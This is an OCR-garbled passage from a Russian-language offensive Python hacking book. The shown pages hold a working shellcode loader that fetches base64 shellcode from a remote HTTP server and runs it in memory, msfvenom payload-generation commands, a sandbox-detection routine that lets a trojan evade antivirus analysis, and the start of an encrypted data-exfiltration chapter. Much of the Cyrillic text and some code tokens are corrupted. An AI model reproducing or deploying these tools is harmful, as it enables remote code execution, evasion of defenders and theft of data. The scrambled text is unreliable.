return ptr

def run(shellcode):
buffer = ctypes.create_string_buffer(shellcode) ©

ptr = write_memory(buffer)

shell func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None)) @
shell func() @

if __name__ == '__main__":
url = "http://192.168.1.203:8100/shellcode.bin"
shellcode = get_code(url)
run(shellcode)

[Torpsicarotie, He npasjaa Jgu? [TaBHbIN OJOK HAYMHAETCST ¢ BbI30Ba (DYHKI[UU
get_code, KoTopasi ckaunBaeT ¢ Beb-cepBepa mesui-Ko/ B popmate base64 @. 3a-
TeM BbI3bIBaeTCS (DYHKIIMS run, YTOOBI 3aIIMCaTh TOT IHEJJI-KOJ B TIAMSITh ¥ BbI-
IIOJIHUTD €ro.
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B dyukumu run Mbr BoiessieM Oydep © st XpaHEHUsT MIEJI-KO/a MoCje ero
JIEKOAIMPOBaHKs. 3aTeM BbI3biBaeM (DYHKIIMIO write_memory, 4TOOBI 3alMcaTh
6ydep B mamsiTh .

Jluist 3anicy B HaMsTh HY/KHO CHadajia BBIAEIUTh HeOOXOAUMOE aJpecHoe Mpo-
crpancTBO (VirtualAlloc) u 3areM nepeHecTu B Hero Oydep ¢ MeI-KogJoM
(Rt1MoveMemory). UTOOBI MIEJI-KOJ CMOT BBIIIOJHUTHCS HE3aBUCHUMO OT TOTO,
stBjisiercst Hatt mHTepriperarop Python 32- wim 64-6UTHBIM, MBI JIOJKHBI C/IE/IATH
TaK, 9T0OBI BBI30B VirtualAlloc BepHYJI yKa3aTeslb 1 4TOOBI BbI30BY Rt1MoveMemory
B KaueCTBe apryMeHTOB IepelaBajilich [Ba yKazaTe/s 1 00beKT pasmepa. [t aToro
MBI ycTaHaBJWBaeM VirtualAlloc.restype u Rt1MoveMemory.argtypes ©. Eciu
IIPOILYCTUTDH TOT ITAIl, MIMPUHA JPECHOIO IPOCTPAHCTBA, BO3BPAI[AEMOIO Bbl-
30BOM VirtualAlloc, He 6y11eT COOTBETCTBOBATD TOH MIUPUHE, KOTOPYIO OXKUACT
IIOJIy4YUTh Rt1MoveMemory.

[Ipu BeI30BE VirtualAlloc @ mapamMeTp ©x40 TOBOPUT O TOM, UTO YYACTOK MaMSITH
OyeT JOCTYTIEH JIJIsT YTEHUST, 3AIIMCH U BBITIOJTHEHVSI, HO €CJIH €TI0 He YKa3aTh, Mbl
He CMOKEeM 3aIMChIBATh U BBITIOJHATD MIEJI-KO. 3aTeM MbI TlepeMelaeM B BbI-
JIeJIeHHYI0 TTaMsATh Oydep 1 Bo3BpalllaeM yKasaresb Ha Hero. BepHemcst B (hyHK-
o run. Bei3oB ctypes.cast mosBosisier npuBectu Tl Oydepa, Tak 4ToObI OH
MOT MCITOJIb30BAThCS KaK yKasaTes b Ha (pyHKINIO @. ITO MMO3BOJNT HaM BBI3BATh
IIEeJIJI-KOJT, CJIOBHO 9T0 00bIuHas (hyHKIMs Ha si3bike Python. B 3aBepiienue mbri
BBI3bIBAEM yKa3aTeJib Ha (DYHKIIUIO, UTO TPUBO/IUT K BBITIOJHEHUIO NIEJI-KO/1a @.

MpoBepka HanucaHHOro

Moskere HaGpaTh KaKOi-HIOY/Ib MIEJLI-KO/l BPYYHYTO, 8 MOKETE CTeHEPUPOBATH €T0
€ TOMOII[HIO CBOETO JIDOMMOT0 (hpeliMBOPKa JIJIsT TECTUPOBAHMSI HA TPOHUKHOBEHHE,
takoro kak CANVAS uiu Metasploit. CANVAS — 210 KOMMepUYecKuii MpoayKT,
MO9TOMY MOKETE O3HAKOMUTBHCS € MPAKTUIECKUM PYKOBOICTBOM TIO T€HEPAIINU
cozepskumoro B Metasploit: http://www.offensive-security.com/metasploit-unleashed/
Generating_Payloads/. M bl BBIOpaJIM O/IMH U3 TIPUMEPOB Tiesui-Koja st Windows
x86, petocTaiisieMbix TeepaTopoM Metasploit (B Hatiem cirydae 1o msfvenom).
CoxpaHnuTe HIeJIJI-KO/I B €r0 UCXOTHOM BUJIE Ha CBOEM KOMIIbIOTEPE TI0]I yIIpaBJie-
HueM Linux B daiine /tmp/shellcode. raw, Kak TOKa3aHO Jajee:

msfvenom -p windows/exec -e x86/shikata_ga_nai -i 1 -f raw
cmd=calc.exe > shellcode.raw
$ base64 -w © -i shellcode.raw > shellcode.bin

$ python -m http.server 8100
Serving HTTP on ©.0.0.0 port 8100 ...
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MbI co3/aeM MIeJI-Ko/ ¢ TOMOIIbIo msfvenom u Kogupyem ero B (hopmar base64,
WCIIOJIb3Ys CTaHJApTHYIO /751 Linux KomaHay base64. /laymbiiie Mbl IPUMEHUIN
HeOOJIBIITON TPIOK — 3aITyCTUJIM MOLYJIb http. server, Tak 4TOObI TEKYIIAst anKa
(B Harrem cirydae aTo /tmp/) ctana KopueM BeO-cepBepa. Bam OyiyT aBTOMaTHYE-
CKH BO3BpaIaThest oobie (aiiib, sarpomrernbie 1o HTTP wa nopre 8100. Teneps
ckonupyiite ckpunt shell_exec.py Ha KomibioTep ¢ Windows 1 BBITIOJIHITE €r0.
B repmunasie Linux 10/5KHO TTOSABUTHCS CJIeyToIIee:

192.168.112.130 - - [12/Jan/2014 21:36:30] "GET /shellcode.bin HTTP/1.1" 200 -

ITO TOBOPUT O TOM, YTO Balll CKPHIIT [OCTAJI TIEJI-KOJL ¢ BeO-cepBepa, KOTOPBI
BBI 3AITYCTUJIN € TIOMOIITBIO MOMYJIs http. server. Ecin Bce mpoiiieT XOPoIo, B
B CBOEIT crcTeMe TOTydrTe JOCTYI K KOMAHHOM 000I0UKe, KOTOpasi 3amyCTUT
calc.exe, MHUIIMUPYET MHTEPAKTUBHBIN ceaHc KoMaHaHOI cTpoku 1mo TCP, BbI-
BeJIET JIMaJIOr0BOE OKHO € COOOIIEHIEM — B 00IIEM, CIETaeT TO, JJIs Yero ObL
CKOMITUJIMPOBAH I1EJIII-KOJL.

O6Hapy>xeHue BUPTYANIbHbIX OKPYI>XEeHUW

B anTHBUpPYCHBIX TPOYKTAX BCe Yalle MPUMEHSATOTCS KaKOTO-TO Pojia BUPTY-
aJIbHbIE OKPYIKEHUsT [IJIsl UCCJIeJOBAHS IOBE/IEHNS I003PUTEbHBIX 00Pa3IloB
I1O. Otu OKpy’KEHUS MOTYT Pa3MelaThCsl Kak 10 MePUMETPY CeTH, 4YTO CTaHO-
BUTCS Bce GoJiee TOMYJISIPHBIM, TaK M HA CAMOM KOMITbIOTEpe: KaKUMU Obl HI
ObLIN MEXAHM3MbI 3AIUTHI ATAKYEMOIT HAMU CETH, MbI He JTOJIKHBI PACKPBIBATH
VM CBOW HAMEPEHMS.

CyniecTByeT HECKOJIBKO MTPU3HAKOB, C TIOMOIIbIO KOTOPBIX MOKHO OIIPEIEJIUTD,
BBITTOJIHSICTCS JIM HAIIl TPOSTH B BUPTYaJIbHOM OKPYsKeHUU. Mbl oHaOII0/1aeM 3a
MOJIb30BATEIbCKIM BBOJIOM Ha aTAaKyeMOM KOMITbIoTepe. 3aTeM PUOABIM K 9TOMY
UHGOPMAITIIO 0 HAKATUAX KJIABHIII, TETIKAX MBITIHIO 1 TBOWHBIX IeTIKax. Ecm
B34Th OOBIYHbIIT KOMIIBIOTED, TO B T€ JHU, KOTJIA €ro BKJIIOYAIOT, OH aKTUBHO B3al-
MOJIEICTBYET C MOJTh30BaTeleM. A BOT B BUPTYaJbHOM OKPY KEHUH, KaK MTPABIIIO,
TaKOTO B3aNMOJIEHCTBUS HET, TAK KaK B OOJIBIIMHCTBE CIIyYaeB OHO TPUMEHSIETCST
JUIST aBTOMaTHUYECKOTo aHaimu3a Bpegornocuoro I110.

Hanr ckpunt Takske IOMbITAETCS Paclio3HATh MHOTOKPATHBIM BBOJL CO CTOPOHDI
orepaTopa OKpy:KeHus (HalpuMep, CTPEMUTENbHYIO Yepely HellPEePbIBHbBIX 11eJT4-
KOB MBIIITbIO, KOTOPasi MOKET BBI3BATH ITOJIO3PEHNST ), HAITPABJIEHHBIN Ha TO, YTOOBI
060ITH 3IeMEHTapHbIE MEXaHI3MBI 0OHAPY KEHNUS U30JMPOBAHHBIX cpell. Hakomerr,
MBI BO3bMEM BpPeMSI TIOCTETHETO B3aMMOIEHCTBHS TIOJIb30BATENS C KOMITBIOTEPOM
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" CpaBHUM €TI0 C TEM, KOTa 3TOT KOMIIbIOTED OBLI BKJIIOUEH, — 3TO AO0JI’KHO CTaTb
XOpOoIIM MHANKATOPOM TOT'O, HAXOAUMCA JIX Mbl B BUPDTYaJbHOM OKPYIKE€EHUU.

3aTeM MBI MOKeM TIPUHATE PeleHre O TOM, CTOUT JIW MIPOIOJIKATE BBITIOJTHEHE.,
Bravasie Hanuiem Koz At oOHapysKeHust BUpTyanbHbix cpea. Cospaiite aiin
sandbox_detect.py u HabepuTe cieayiomiee:

from ctypes import byref, c_uint, c_ulong, sizeof, Structure, windll
import random

import sys

import time

import win32api

class LASTINPUTINFO(Structure):
fields_ = [
('cbSize', c_uint),
('dwTime', c_ulong)

]

def get_last_input():
struct_lastinputinfo = LASTINPUTINFO()
struct_lastinputinfo.cbSize = sizeof(LASTINPUTINFO) ©
windll.user32.GetLastInputInfo(byref(struct_lastinputinfo))
run_time = windll.kernel32.GetTickCount() @
elapsed = run_time - struct_lastinputinfo.dwTime
print(f"[*] It's been {elapsed} milliseconds since the last event.")
return elapsed

while True: ©
get_last_input()
time.sleep(1)

MbI UMITOPTHPOBAIN HEOGXOAUMbIE MOJLYJIU U CO3/IaJIA CTPYKTYPY LASTINPUTINFO
JUISE XpaHEHUsT BPEMEHHOU MeTKHU (B MUJUIMCEKYH/IaX ), 0003HAYAIONEeil MOMEHT
obHapy:KeHus TTocyeIHero coObITHS BBO/Ia B cucteMe. [lanbiie co3maeM (hyHK-
o get_last_input, 4ToOBI, COOCTBEHHO, OIIPEAEAUTh 9TOT MOMeHT. OGpaTuTe
BHUMAaHUE Ha TO, UTO IPEKJe YeM BbITIOJHSATH BbI30OB, IIePEMEHHYIO cbSize @
HY’KHO WHUITHAIU3UPOBATH C UCIIOJb30BAHNEM pa3dMepa CTPYKTYPBL. 3aTeM MBI
BBI3BIBaeM (DYHKITHIO GetLastInputInfo, KOTOpas MPHUCBAMBAET MO0 struct_
lastinputinfo.dwTime BpemenHyio MeTKy. CieyIONIUI IIar COCTOUT B Olpejie-
JIEHUU TOTO, KaK JI0JITO MpopaboTaia cucrema. J{Jist 3Toro mpuMeHsieTcst Bbi30B
dbyHKIMM GetTickCount @. ITepementas elapsed 0JKHA OBITH paBHA Pa3HOCTH
MesK/Ly BpeMeHeM PaboThl CUCTEMbBI U BpeMeHeM TIocJieHero BBojia. Hebourbimoit
(bparmenT Ko/, pa3MeleHHbIN B KOHIIE ©, TI03BOJISIET BBITIOJTHUTH IIPOCTYIO MTPO-
BEPKY; YTOOBI YBUJIETD €0 B A€HCTBUM, 3AITyCTUTE CKPUIIT U TIOABUTANTE MBIIITHIO
TN HAKMUTE KIaBUIIY Ha KJIaBUaType.
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CrouT OTMETHTD, 4TO 001IIee BpeMs pabOThI CHCTEMBI 1 ITOCIe[Hee 00HAPYKEHHOE
cOOBITHE MOJIb30BATEIHCKOTO BBOIA MOT'YT BAPbUPOBATHCS B 3aBUCUMOCTHU OT KOH-
KPETHOTr0 MeTO/Ia IPOHMKHOBEHUST Ha KOMITbioTep. Harpumep, eciiv Bbl BHEAPUIIN
CBOI1 KOJI TTyTeM (PUIIIUHTA, 9TO 03HAYAET, YTO M10JIb30BATEJIb, CKOPEE BCET0, 3aPasil
CBOIO CUCTEMY, IETKHYB Ha CCBIIKE UJIN BBITIOJHUB KaKyI0-TO APYTYIO OTIEPATTHIO.
CremoBaTenbHO, BPEMSI, TIPOIIIEIITEe C MOMEHTA TIOCJIEHETO TTOTB30BATETHCKOTO
BBOJIa, He Oy/eT IPeBbIIIaTh OAHO-ABYX MUHYT. HO eciii BbI yBUAKTE, YTO KOM-
npiorep paboraer Ha MpoTsaxkeHnn 10 MUHYT 1 BBOZ CO CTOPOHBI HOJIb30BATEIs
ObLI B TIOCJIE/IHIIT pa3 oOHapyskeH 10 MUHYT Ha3a/l, TO Bbl, BEPOSITHO, HAXOJUTECH
BHYTPH BUPTYaJIbHOTO OKPY/KEHUSI, KOTOPOE elile He 00paboTao HUKaKUX MOJTb-
30BaTENbCKUX COObITHIL. CIOCOOHOCTD TIPUXOANUTH K TAKUM YMO3aKII0YEeHUSIM
SIBJISIETCS TPU3HAKOM XOPOIIEro, CTabUIbHO PadOTAIOIIEro TPOSTHA.

ITOT Ke TOAX0/L MOKHO IPUMEHSITH JIJIsi OTIPEIeIEHUsT TOTO, Ge3/eiicTBYeT JIn
MOJTb30BaTeJIb: HATIpUMeP, CHUMKH 9KPaHa MMeeT CMBICJ JleJIaTh TOJIBKO TOT/Ia,
KOT/Ia KOMITBIOTEPOM aKTUBHO TIOJB3YIOTC. A BOT TTepefiady JaHHbBIX NI KaKue-
TO JIpyrue JCUCTBUA CTOUT OCYIIECTBJISATD, TOJBKO KOT/la M0JIb30BaTe b, 110 BCEl
BUJIMMOCTH, Ky/1a-TO OTOIIIeJ. Bbl TakKe, K IIPUMeEPY, MOXKETE MTPOCTIEIUTD 32 €ro
MPUBBIYKAMHE, YTOOBI ONTPEIETUTD, B KAKKE JIHU U B KAKOE BPEMSI CYTOK OH 0OBIYHO
paboTaer 3a KOMIILIOTEPOM.

YuuTbiBast Bce CKa3zaHHOE, IaBaiiTe OIpee/iM, CKOJIbKO TAKKUX M0JIb30BaTEIbCKUX
3HAYEeHUI HAM HY’KHO OOHAPY/KUTb, IIPEKIE YeM Mbl yOEIUMCS B TOM, UTO KOJ
He BBINOJIHACTCS B BUPTYAJIbHOM OKPYKEHUH. YIQIUTE MOCAEIHUE TPU CTPOUKH
IPOBEPOYHOr0 KO/Ia U 10OaBbTe BMECTO HUX KO/ IS OOHAPY/KEHMS HasKaTUI KJla-
BUIII U [IEJTYKOB KHOMKOM MbIiu. Ha 9ToT pas, BMecTo TOro 4To0bI HCIIOIb30BaTh
PyWinHook, mbI orpariunmcest 6ubanorexoii ctypes. J{ist aTux 1eseil MOKHO
¢ sierkocthio pumennTh 1 PyWinHook, Ho Bam Gy/ieT 10J1e3HO UMETh B CBOEM
apceHaie HeCKOJIbKO Pa3HbIX IIPUEMOB, TaK KaK Ka/blil aHTUBUPYC ¥ KaxK1asi
TEXHOJIOTUS BUPTYaJbHbBIX OKPY/KEHUI 0OHAPY/KUBAIOT 9TH MIPUEMBbI I10-CBOEMY.
WTak, mpucTynnM K HaMCAHUIO KOJA:

class Detector:
def __init_ (self):
self.double_clicks = ©
self.keystrokes = ©
self.mouse_clicks = @

def get_key press(self):
for i in range(@, oxff): @
state = win32api.GetAsyncKeyState(i) @
if state & 0x0001:
if i == ox1: ©
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self.mouse_clicks += 1
return time.time()
elif i > 32 and 1 < 127: O

self.keystrokes += 1

return None

Mpubi co3maem kace Detector u 06HyﬂHeM LIeIYKY 1 HasKaTusI KiaBuiil. MeTos get
key_press omnpejesieT KOJIU4eCTBO MEJTYKOB KHOKON MBI, KOT/Ia OHU GbLIN
c/IeJIaHbl 1 CKOJTBKO pa3 Hallla sKepTBa Haskasla KIIaBUIIN Ha KaaBuatype. /L1 atoro
MbI Hepe6I/IpaeM JAINAITa30H JOITYCTUMbBIX KJIaBUIII BBO/la Ou IIPpOBEPAEM KaKAYIO
U3 HUX Ha [TPe/IMET HasKaTHs Iy TeM BbI30Ba (DyHKINY GetAsyncKeyState @. Ecin
KJIABUITIA HAXOJUTCS B HAYKATOM COCTOSTHUM (BBIPaKeHME state & 0x0001 UCTUHHO),
MBI [IPOBEPsieM, PABHO Jikt Ox1 © ee 3HaUeHUE, COOTBETCTBYIOIIEE BUPTYAJIbHOMY
KOJIy TeTYKA JIEBOW KHOMKON MBI, Mbl HHKPEMEHTHPYEM 00IIee KOTMIeCTBO
IETIKOB 1 BO3BPAIIAEM TEKYIILYIO BDEMEHHYIO METKY, 4TOOBI MT037K€e PACCINTATD
BpeM:. A Takxe IIpoBeEPAEM, HaKAThI JIM HAa KJIaBUATYPeE KJIaBUIIIN C ITedYaTaeMbIMU
cumBosiamut (ASCIT) @, u ecuiit 13, TO IPOCTO MHKPEMEHTHPYEM 0011iee KOJIUYECTBO
3a(hMKCPOBAHHBIX HAKATUI KJIABUIIL.

Ternepb 06BEAMHUM PE3YJIBTATHI ATUX (DYHKIHIT B OCHOBHOI IIMKJ OOHAPY/KEHUST
BUPTYaJIbHbBIX OKpYKeHuil. [lo6aBbre B sandbox_detect.py CleyIONMiA METO/I:

def detect(self):
previous_timestamp = None
first_double_click = None
double_click_threshold = 0.35

max_double_clicks = 10 ©
max_keystrokes = random.randint(10,25)
max_mouse_clicks = random.randint(5,25)
max_input_threshold = 30000

last_input = get_last_input() @
if last_input >= max_input_threshold:
sys.exit(®@)

detection_complete = False
while not detection_complete:
keypress_time = self.get_key press() ©
if keypress_time is not None and previous_timestamp is not None:
elapsed = keypress_time - previous_timestamp @

if elapsed <= double_click_threshold: ©
self.mouse_clicks -= 2
self.double_clicks += 1
if first_double_click is None:
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first_double_click = time.time()
else:
if self.double clicks >= max_double_clicks: @
if (keypress_time - first_double_click <= @
(max_double_clicks*double_click_ threshold)):
sys.exit(0)
if (self.keystrokes >= max_keystrokes and ©®
self.double_clicks >= max_double_clicks and
self.mouse_clicks >= max_mouse_clicks):
detection_complete = True

previous_timestamp = keypress_time
elif keypress_time is not None:
previous_timestamp = keypress_time

if __name__ == '_main__":
d = Detector()
d.detect()
print('okay.")

OobparraiitTe BHIMaHUE HA OTCTYIIBI B ATUX OJI0KaX Kozta! BHauase Mol omipeziesisiem
HECKOJBKO TiepeMeHHbIX @ 71711 OTC/IeKUBAHNS BPEMEHH IETIKOB KHOTTKON MBITITH
1 TPeX MOPOTOBBIX 3HAYEHUI, TT0 KOTOPBIM CYAMM, CKOJTBKO HAXKATUI KIABUII,
MIETYKOB KHOTTKOM MBITITY U JIBOWHBIX METYKOB IOJIKHO TPOU30UTH, TIPEK/IE €M
MBI PEIITUM, YTO KO/I BBITIOJIHSIETCS 32 TIPeJiesIaMU BUPTYaJIbHOTO OKPYsKeHusi. Mbl
yCTaHaBJIMBAEeM 9TH [TOPOTOBbIE 3HAYEHHUSI CTyYaliHBIM 00PA30M TIPH KasKIOM 3a-
IyCKe, HO BbI, KOHEYHO K€, MOKETe I000paTh UX B COOTBETCTBHUY C COOCTBEHHBIMU
AKCIIEPUMEHTAMH.

[Tocsie aTOrO MBI y3HAEM, CKOJIBKO BPEMEHU IIPOIILIIO C MOMEHTA, KOT/IA MT0JIb30Ba-
TeJIbCKUH BBOJL B TIOCJIETHUT Pa3 ObLT 3aPErNCTPUPOBAH B CUCTEME @, 1 €CJIU ITOT
MEePHOJ] KAJKETCSI CJMIIKOM JUTHHHBIM (C YI€TOM TOTO, KaKiM 06pa3oM MbI 3apa-
3UJIM KOMITBIOTEP, O YeM YK€ YITIOMIHAIOCH paHee), TpeKpaiiiaeM paboTy TposiHa.
BwmecTo 5T0T0 TPOsiH MOT 6bI UMUTHPOBATH KaKyi0-TO 6€300M/IHYI0 aKTUBHOCTH —
HaINpuMep, YUTaTh CAydaliHbIe KJIIOYU PeecTpa UK MpoBepsTh daiibr. [Iposess
HayaJbHYIO TIPOBEPKY, MEPEXOANUM K TJIABHOMY MKy OOHAPY/KEHUS HaKaTHil
KJIQBUIIT ¥ TIEJTYKOB MBITITBIO.

Brauase MbI TpoBepsieM, HaskaTa JiM KJIaBUIIA HA KJIABUATYPe WU KHOTIKA MbITITH ©),
3Hast, YTO ecJiu (DYHKIIMS BEPHET 3HaYeHHe, 9TO Oy/IeT BPEMEHHASI METKa COOTBET-
CTBYIOIIErO COOBITHSI. 3aTeM CYUTAEM, CKOJBKO BPEMEHH MPOIILIIO MEKIY IIeTd-
KaM¥ KHONKOU Mbiiiin @, u cpaBHUBAaeM Pe3yJibTaT ¢ [IOPOrOBbIM 3HaYeHreM O,
4TOOBI MMOHATH, ObLI JIK 3TO ABOIHOI 1e90K. [ToMUMO ABOWHBIX MIEJTYKOB MbI
TaK’Ke IIbITaeMCs Pacllo3HaTh CUTYalluHU, KOT/Jla OIIepaToOp BUPTYaJbHOIO OKPYIKe-
HUS TEHEPUPYET TTIOTOK COOBITHIT MBITITH @ B MOMBITKE OOONTH HAIIM MEXaHU3MbI
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obuapyskenust. Hanpumep, 661710 661 cTpanHo yBugerh 100 1BOWHBIX MIETYKOB
MOJIPSi/T TPY HOPMAJIBHOM HCITOJIb30BAaHUM KOMIThbIoTepa. Ecii 3a KopoTkwuii po-
MEKYTOK BPEMEHU MTPEBBIIIIEHO MAKCUMaJIbHOE KOJNYECTBO JIBOMHBIX METIKOB @,
MBI TIpeKpaiaem pabory. B 3aBepineHue mposepsieM, ObLIN JIU TIPOIIEHBI BCE
IPOBEPKU U OBLIO JIM JOCTUTHYTO MaKCUMAJIbHOE KOJUYECTBO OAMHAPHBIX WK
JIBOMTHBIX IETIKOB, a TaK)Ke HaskaTuii kiaasumi @. Ecom 1a, To mokumpaeM (pyHKITATO
oOHapY’KEHVsT BUPTYAJIbHBIX OKPY/KEHHIL.

MoskeTe O9KCIIEPUMEHTHPOBATD € apaMeTpaMu U J00aBUTH HOBBIE BO3MOK-
HOCTH, TaK¥e Kak 00Hapy KeHue BUPTYaJIbHBIX MallIiH. BO3MOKHO, IMeeT CMBICIT
HOCJIEINTD 32 TeM, KaK IIPOXOAUT HOpMaJsibHas paboTa Ha BalIMX KOMIIbIOTEPaX
(B cMBICJIE TEX, KOTOPBIE IENCTBUTETHHO BaM ITPUHAJIEKAT, a HE TEX, KOTOPHIE BB
B3sioMasu!) ¢ TOUKY 3PEeHMS MIETUKOB KHOIKOM MBIIIH, ABOMHBIX IIEJTYKOB M Ha-
JKQTUI KJTaBUIIL, 4TOOBI HANTH MOAXOASIIIIT GasaHc. B HEKOTOPBIX carydasix Jrydiie
HCII0JIb30BATh O0JIee CTPOTHe TTapaMeTPhbl, a HHOTIa OOHAPYKEHWE BUPTYalbHBIX
OKPYsKEHUI MOKET OBITh JIMIITHIM.

WnctpymenTsl, pa3paboTaHible BAMU B 9TOH TJIaBe, MOTYT HOCJAYKUTH Oa30BBIM
HabOPOM BO3MOKHOCTEH TPOsTHA, U GJ1aroapst MOy IbHOCTH HAIero (hpeiiMBOpKa
BBI MOJKETE Pa3BEPHYTH JIIOOO0I 13 HIX.
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[Tonydenwne moctyma K aTaKyeMOH ceTH — TOJI/Iea.

YT0OBI N3BJIEYD U3 ITOTO KAKYIO-TO TI0JIb3Y, BaM HYKHO

KaK-TO BBIHECTH U3 CUCTEMbI IOKYMEHTBI, 9JIEKTPOHHbBIE

TabJIUIBI WK pyTHe (PparMeHThl TaHHBIX. JTY YacTh

aTakW MOTYT YCJOXHUTh UMEIOIINeCcs 3alUTHbIEe MeXa-

HU3MBI. 3a TIPOBEPKOI IIPOTIECCOB, OTKPBIBAIOIIIX y/IATeHHbIE

COeINHEHMS, a TAK)KE OTTpeieJIeHIeM TOTO, IMEIOT JIN TTPABO 3TH TIPO-

IIECCHI OTTIPABJIATH MHMOPMAIIUIO NI MHUITNUPOBATH COEIMHEHNS 32 TIPeiesiaMu

BHYTPEHHEN CETH, MOTYT CJIE[IUTH JIOKAJIbHbIE UJIN y/IaJIeHHbIE CUCTEMBI (2 MHOT/IA
U Te, U IpyTHue).

B aroii r1aBe co3maaM MHCTPYMEHTBI, C TIOMOIIBIO KOTOPBIX BBl CMOKETE BBIBO-
JIUTH JTAaHHBIE 32 MTPeJIe/Ibl CUCTEMBI B 3amndpoBanHoM Bujie. [lepBbiM 1e710M Mbl
HaIUIIIEeM CKPHIIT JIs I POBaHUS U PacHInGPOBKH (aiijioB. 3aTeM IPUMEHNM €T0
Jutst i poBayst ”HGOPMAIIUU U OTHPABKH €€ M3 CHCTEMbI TPEMst CIToCOOaMU: 110
BJIEKTPOHHOIA T104Te, IMyTeM Tepeaaun daiiios niam B Buge POST-3anpocos k BeO-
cepsepy. LI Kask10T0 13 9TUX BAPUAHTOB HATTHIIIEM TT0 /1B MHCTPYMEHTA: OJIITH — He
3aBUCAIIHIT OT T1aT(OPMBI, a APYTOi — MpeAHa3HAYeHHbINA TOMbKO a1 Windows.

Jliist BbI3OBa (DYHKIIMIA, JOCTYITHBIX TOJIBKO B Windows, MbI nctiosibayem 6ub/more-
ku PyWin32, kotopbie yike 3a/1eiicTBOBAJIICH B IJTaBe 8, 0COOEHHO TTaKkeT win32com.
Windows COM (Component Object Model — moziesib KOMITOHEHTHOTO OGBEKTA)
[PUMEHSIETCS B PA3HBIX 1EJISIX — OT B3AUMOJIEHCTBHSI ¢ CETEBBIMU CEPBUCAMU /10
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BHEIPEHUS AJIeKTPOHHOIT Tabuibl Microsoft Excel B Bate cobcTBeHHOE TIpHIIO-
skenre. Bee sepcun Windows, Hauntas ¢ X P, I03BOJISIOT BHEAPUTD B IIPUIIOKE-
Hue COM-o6bekT Internet Explorer, u B 1aHHOIT TJ1aBe MbI BOCIIOJIb3YEMCST 9TON
BO3MO>KHOCTBIO.

WndporaHue n pacuumdpporka ¢annos

Jlnst mmubpoBanmst UCIIOIb30BYEM TTAKET pycryptodomex. MoskeTe yCTaHOBUTH €r0
C TIOMOIIIHIO KOMaH/IbI

$ pip install pycryptodomex

Tenepb cosmaiite dail cryptor.py U UMIOPTUPYHTE OUOINOTEKH, KOTOPBIE 10-
Ha00ATCS IS Hadasa paboThI:

from Cryptodome.Cipher import AES, PKCS1_OAEP ©
from Cryptodome.PublicKey import RSA @

from Cryptodome.Random import get_random_bytes
from io import BytesIO

import base64
import zlib

Mbi oprausyem nporece rtOpUIHOTO MM POBAHIS, UCTIOJIB3YS JIYUIIIe KayecTBa
CUMMETPUYHON M acuMMeTpuuHoil kpuntorpaduu. AES saBisercs mpumepom
CUMMETPUYHOTO udpa @ — cummempuunvim €ro fejaeT To, 9To st mudpo-
BaHMs ¥ Paciin@pPOBKY IPUMEHSIETCS OJIMH U TOT jKe K04, OH 04eHb ObICTPBIN
U CII0COOEH CIIPABJSATHCS ¢ GOMBIIMMU 00beMaM TeKcTa. VIMEHHO ¢ MOMOIIBIO
HTOTO METO/Ia MBI CTaHeM (G PoBaTh MHPOPMATINIO, KOTOPast OYIET BHIBOIUTHCS
3a MpeIesTbl CUCTEMBI.

Mpbi Takke UMIIOPTUPYEM acummempuunsiii nincdp RSA @, B KOTOPOM UCII0JIb-
3YIOTCSI OTKPBITBIE/3aKPBIThIe Kiiour. Oxu# K04 (0OBIYHO OTKPBITHIN) HYKEH
muist i poBaHus, a Apyroit (0OBIYHO 3aKPBITHIN) — JIst pacuripoBKu. Mbl
3azieiictByeM RSA, uTo6bI 3a1ndpoBatTh eIMHbIN KJII0Y, IPUMEHIeMbIIT /11 ud-
posanug ¢ nomomibio AES. Acummerpuynast kpuntorpadust XOpolo MOAXOANUT
117151 HeGOTBIIUX HAOOPOB MH(MOPMAITHH, UTO IE/IAET €€ UICATHHBIM PEIIEHIEM IS
mmdpoBarusa kaoda AES.

ITOT MOAXO/, B KOTOPOM MCIIOJB3YIOTCst 00a Buia U POBaHs, HA3bIBAIOT 214~
Opudnvim, 1 OH 0YeHb paciipocTparer. Hanpumep, OH ipuMeHsIeTCs Py B3aMO-
neiictBum 110 TLS Mex iy Bammm OpaysepoM U BeO-CepBEPOM.
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IIpexne yem 3angaThbCs MUGPOBAHUEM W PACITNMOPOBKOI TaHHBIX, MbI JOJIKHBI
CO3/IaTh OTKPBITBIN U 3aKPBITHIN KJIIOYHU /IS aCHMMETPUYHOTO aaroputMa RSA.
To ecTb Hy KHO HarcaTh GYHKINIO U151 TeHepain RSA-kiroueit. /lobaBum B aiisn
cryptor.py GyHKIUIO generate:

def generate():
new_key = RSA.generate(2048)
private_key = new_key.exportKey()
public_key = new_key.publickey().exportKey()

with open('key.pri', 'wb') as f:
f.write(private_key)

with open('key.pub', 'wb') as f:
f.write(public_key)

Bce Bepro, Python — HacTOIBKO KPYTOii I3BIK, UTO HA HEM 9TO MOKHO YMECTHUTh
BCETO B HECKOJIBKO CTPOK Koja. /lannasg ¢hyHKIINS 3aTUChIBAeT 3aKPBITHIN U OT-
KPBITBIH KJII0UM B Dailsrel c uMeHamu key . pri u key . pub. Temiepb maBaiiTe HATTUIIIEM
HeOOJIBIITY IO BCIIOMOTATETBHY 0 (DYHKITHIO 115 IOy YEHHsT JIF0OOTO N3 9TUX KITIOUElt:

def get_rsa_cipher(keytype):
with open(f'key.{keytype}') as f:
key = f.read()
rsakey = RSA.importKey(key)
return (PKCS1_OAEP.new(rsakey), rsakey.size_in_bytes())

MpblI iepeiaeM 9TOH (DYHKITMH THIT KJTioua (pub MJIN pri), YUTaeM COOTBETCTBYIONTUI
baitn 1 BosBpaiaem mudp u pasmep RSA-kioua B 6aiitax.

WTax, MBI creHepupoBasIn /IBa KJIf0Ya U Harmcaan GyHKINI0, KOTOpask BO3Bpaia-
et mudp, chopMUPOBAHHBIN HA UX OCHOBe. Terepb MPUCTYITUM K MHU(POBAHUIO
JIAHHBIX:

def encrypt(plaintext):
compressed_text = zlib.compress(plaintext) ©

session_key = get_random_bytes(16) @
cipher_aes = AES.new(session_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(compressed_text) ©

cipher_rsa, _ = get_rsa_cipher('pub")
encrypted_session_key = cipher_rsa.encrypt(session_key) @

msg_payload = encrypted_session_key + cipher_aes.nonce + tag + ciphertext ©
encrypted = base64.encodebytes(msg_payload) @
return(encrypted)



176 Fnaesa 9. MoxuweHne AAHHLIX

Mbi riepeiaeM 0OBIUHBII TEKCT B BUle OallTOB 1 cxkuMaeM ero @. 3atem cirydaii-
